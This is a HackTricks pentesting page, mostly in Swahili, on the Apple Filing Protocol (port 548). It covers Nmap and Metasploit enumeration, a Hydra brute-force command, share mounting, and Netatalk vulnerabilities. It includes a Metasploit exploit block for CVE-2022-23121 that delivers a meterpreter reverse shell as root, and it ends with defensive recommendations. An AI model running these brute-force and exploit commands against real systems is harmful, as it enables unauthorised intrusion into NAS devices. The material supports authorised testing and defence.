548 - Pentesting Apple Filing Protocol (AFP)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, ni protocol maalum ya mtandao iliyojumuishwa ndani ya Apple File Service (AFS). Imetengenezwa kutoa huduma za faili kwa macOS na classic Mac OS. AFP inajitofautisha kwa kuunga mkono majina ya faili ya Unicode, ruhusa za aina ya POSIX na ACL, resource forks, named extended attributes na mbinu za hali ya juu za kufunga faili.

Ingawa AFP imebadilishwa na SMB katika toleo za kisasa za macOS (SMB ni chaguo-msingi tangu OS X 10.9), bado inakutana katika:

  • Mazingira ya zamani ya macOS / Mac OS 9
  • Vifaa vya NAS (QNAP, Synology, Western Digital, TrueNAS…) vinavyojumuisha daemon wa chanzo wazi Netatalk
  • Mitandao mchanganyiko ya OS ambapo Time-Machine-over-AFP bado imewezeshwa

Default TCP Port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Uorodheshaji

Bango la haraka / taarifa za seva

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Script za AFP NSE zinazofaa:

ScriptInafanya nini
afp-lsOrodhesha volumu za AFP na faili zinazopatikana
afp-bruteBrute-force ya nywila dhidi ya login ya AFP
afp-serverinfoDump jina la server, aina ya mashine, toleo la AFP, UAMs zinazotumika, n.k.
afp-showmountOrodhesha shares pamoja na ACLs zao
afp-path-vulnInagundua (na inaweza kutumia) directory-traversal, CVE-2010-0533

Script ya NSE brute-force inaweza kuchanganywa na Hydra/Medusa ikiwa udhibiti zaidi unahitajika:

hydra -L users.txt -P passwords.txt afp://<IP>

Ikiwa tayari una credentials, Nmap’s AFP scripts zinakuwa muhimu zaidi kwa sababu afp-serverinfo leaks the advertised UAMs (auth methods), wakati afp-showmount na afp-ls zinaweza ku-enumerate reachable shares, ACLs na interesting files:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Lipa tahadhari kwa:

  • Machine Type: Netatalk katika output ya afp-serverinfo, ambayo kawaida ina maana ya mwenyeji wa NAS / Unix badala ya utekelezaji wa AFP wa Apple.
  • UAMs kama DHX, DHX2, Cleartxt au Guest, kwa sababu zinaonyesha moja kwa moja njia za kuingia zinazoweza kufikiwa na ikiwa legacy / weak auth imewezeshwa.
  • Share ACLs kutoka afp-showmount; world-readable au drop-box style shares mara nyingi zinafunua backups, .appl files, na metadata ya watumiaji kabla haujamount volume.

Kuingiliana na shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (kutumia afpfs-ng ‑ inapatikana katika distros nyingi)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Mara baada ya ku-mount, kumbuka kwamba resource-forks za classic Mac huhifadhiwa kama fiche ._* AppleDouble mafaili – hizi mara nyingi zina metadata ya kuvutia ambayo zana za DFIR hupuuza.

On Netatalk targets hii metadata backend pia ina umuhimu kwa uwezo wa exploit:

  • ea = ad ina maana metadata huhifadhiwa katika AppleDouble v2 files / .AppleDouble directories.
  • ea = sys au ea = samba huhifadhi metadata katika filesystem extended attributes badala yake.
  • Katika Netatalk 4.2+ chaguo la zamani appledouble liliondolewa na backend inadhibitiwa kabisa kupitia chaguo la ea.

Kwa mtazamo wa mashambulizi, hili linakuwezesha kuamua haraka kama AppleDouble-oriented bugs zina uwezekano mkubwa wa kupatikana kwenye server.


Udhaifu wa Kawaida na Utekelezaji

Netatalk mnyororo wa RCE isiyothibitishwa (2022)

Baadhi ya wauzaji wa NAS walitumia Netatalk ≤3.1.12. Ukosefu wa ukaguzi wa mipaka katika parse_entries() unamruhusu mshambuliaji kutengeneza header hatari ya AppleDouble na kupata remote root kabla ya uthibitisho (CVSS 9.8 – CVE-2022-23121). Maelezo kamili na PoC ya NCC Group yanayotumia Western-Digital PR4100 yapo.

Metasploit (>= 6.3) inajumuisha module exploit/linux/netatalk/parse_entries ambayo inawasilisha payload kupitia DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Ikiwa lengo linaendesha firmware ya QNAP/Synology iliyoathiriwa, ukitumia udhaifu kwa mafanikio utapata shell kama root.

Netatalk OpenSession heap overflow (2018)

Netatalk ya zamani (3.0.0 - 3.1.11) ina ulegevu wa out-of-bounds write katika handler ya DSI OpenSession ambayo inaruhusu unauthenticated code execution (CVE-2018-1160). Uchanganuzi wa kina na PoC vili chapishwa na Tenable Research.

Newer Netatalk attack surface (2022-2024)

Taarifa za hivi karibuni za Netatalk zinaonyesha kwamba attack surface haijawahi kuwekewa mipaka kwa parse_entries() na utunzaji wa OpenSession:

  • CVE-2022-45188: faili la .appl lililotengenezwa mahsusi linaweza kusababisha heap overflow katika afp_getappl; hili ni muhimu hasa ikiwa unaweza write files into a share na server inaendesha vipengele vya FCE / notify.
  • CVE-2023-42464: mdudu wa type confusion katika Spotlight RPC handlers unaweza kuwa wa kufikiwa wakati spotlight = yes imewezeshwa katika afp.conf (imezimwa kwa default).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes katika login-related paths zilirekebishwa katika Netatalk 2.4.1 / 3.1.19 / 3.2.1. Mende hizi ni za kuvutia kwa sababu exploitability inategemea UAMs zilizosanidiwa:
    • uams_clrtxt.so + PAM-backed ClearTxt login inafichua njia ya FPLoginExt inayohusiana na CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login inafikia njia hatarishi inayohusiana na CVE-2024-38440.
    • uams_guest.so inafanya njia ya Guest login iweze kufikiwa kwa CVE-2024-38441.

Hii inamaanisha kwamba matokeo ya afp-serverinfo si data ya fingerprinting tu; inakusaidia kuamua ni login parser gani imefichuliwa kabla ya kutumia muda kwenye exploit development au NAS firmware triage.

Other notable issues

  • CVE-2022-22995 – Symlink redirection inayopelekea arbitrary file write / RCE wakati AppleDouble v2 imewezeshwa (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal katika Apple Mac OS X 10.6 AFP (inakutwa na afp-path-vuln.nse).
  • Multiple memory-safety bugs zilirekebishwa tena wakati wa 2024 Netatalk releases; ikiwa unaona Netatalk kwenye afp-serverinfo, tumia dakika moja kuoanisha UAMs zilizofichuliwa / Spotlight / metadata backend na toleo la server kabla ya kudhani kwamba mende za 2018/2022 pekee ndizo muhimu.

Mapendekezo ya Ulinzi

  1. Disable AFP isipokuwa ni muhimu kabisa – tumia SMB3 au NFS badala yake.
  2. Ikiwa AFP inapaswa kubaki, upgrade Netatalk to ≥ 3.1.18 or 4.x, au apply vendor firmware inayorejesha (back-ports) patches za 2022/2023/2024.
  3. Weka sera za Strong UAMs (mf. DHX2), zima clear-text na guest logins.
  4. Zuia TCP 548 kwa subnets zilizotamkwa na funika AFP ndani ya VPN wakati imefichuliwa kwa mbali.
  5. Fanya skani mara kwa mara kwa kutumia nmap -p 548 --script afp-* katika CI/CD ili kugundua appliances zisizo za kawaida au zilizopunguzwa (downgraded).

Brute-Force

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks